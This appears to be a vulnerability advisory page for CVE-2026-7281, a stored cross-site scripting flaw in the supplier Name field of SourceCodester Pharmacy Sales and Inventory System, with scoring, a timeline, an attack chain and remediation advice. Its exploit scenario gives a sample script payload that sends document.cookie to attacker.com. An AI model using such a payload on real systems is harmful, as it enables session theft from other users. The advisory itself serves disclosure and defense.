Skip to main content

SourceCodester Pharmacy Sales and Inventory System CVE-2026-7281

| EUVD-2026-26051 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-04-28 VulDB
1.9
CVSS 4.0 · NVD

Severity by source

NVD PRIMARY
1.9 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
P
Scope
X

Lifecycle Timeline

9
Severity Changed
Apr 29, 2026 - 01:12 NVD
MEDIUM LOW
CVSS changed
Apr 29, 2026 - 01:12 NVD
4.8 (MEDIUM) 1.9 (LOW)
PoC Detected
Apr 29, 2026 - 01:00 vuln.today
Public exploit code
Analysis Generated
Apr 28, 2026 - 14:31 vuln.today
Severity Changed
Apr 28, 2026 - 14:22 NVD
LOW MEDIUM
CVSS changed
Apr 28, 2026 - 14:22 NVD
2.4 (LOW) 4.8 (MEDIUM)
EUVD ID Assigned
Apr 28, 2026 - 14:00 euvd
EUVD-2026-26051
Analysis Generated
Apr 28, 2026 - 14:00 vuln.today
CVE Published
Apr 28, 2026 - 13:15 nvd
LOW 1.9

DescriptionCVE.org

A vulnerability was determined in SourceCodester Pharmacy Sales and Inventory System 1.0. The impacted element is the function supplier of the file /index.php?page=supplier. Executing a manipulation of the argument Name can lead to cross site scripting. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.

AnalysisAI

Stored cross-site scripting (XSS) in SourceCodester Pharmacy Sales and Inventory System 1.0 allows authenticated remote attackers with high privileges to inject malicious scripts via the Name parameter in the supplier management function (/index.php?page=supplier), affecting users who view the poisoned supplier records. The vulnerability requires user interaction (clicking a malicious link) and has CVSS 4.8 with publicly available proof-of-concept code, though it is limited to high-privileged users (PR:H) and causes only integrity impact (VI:L) without confidentiality or availability compromise.

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Obtain high-privilege credentials
Delivery
Access supplier management endpoint
Exploit
Inject XSS payload in Name parameter
Execution
Victim views poisoned supplier record
Persist
Malicious script executes in victim's session
Impact
Attacker steals session data or performs privileged actions

Vulnerability AssessmentAI

Exploitation Exploitation requires three specific conditions: (1) the attacker must possess high-privilege credentials (PR:H from CVSS vector indicates admin or high-role user access is mandatory), (2) the vulnerable endpoint /index.php?page=supplier must be accessible and not rate-limited or restricted by network controls, and (3) a victim user must interact with the poisoned supplier record (UI:P requires user click or page view). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment This vulnerability presents LOW-TO-MODERATE real-world risk despite the publicly available POC. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with high-privilege access (e.g., a compromised admin account or malicious staff member) navigates to /index.php?page=supplier and enters a malicious payload like <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> in the supplier Name field, then saves the record. When other authenticated users view the supplier list, the injected script executes in their browser, stealing session cookies or performing actions on their behalf. …
Remediation Immediate remediation requires input validation and output encoding: sanitize the 'Name' parameter in the supplier management function using a PHP whitelist-based validation function or HTML entity encoding (htmlspecialchars() with ENT_QUOTES flag) before storing or displaying supplier names. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-7281 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy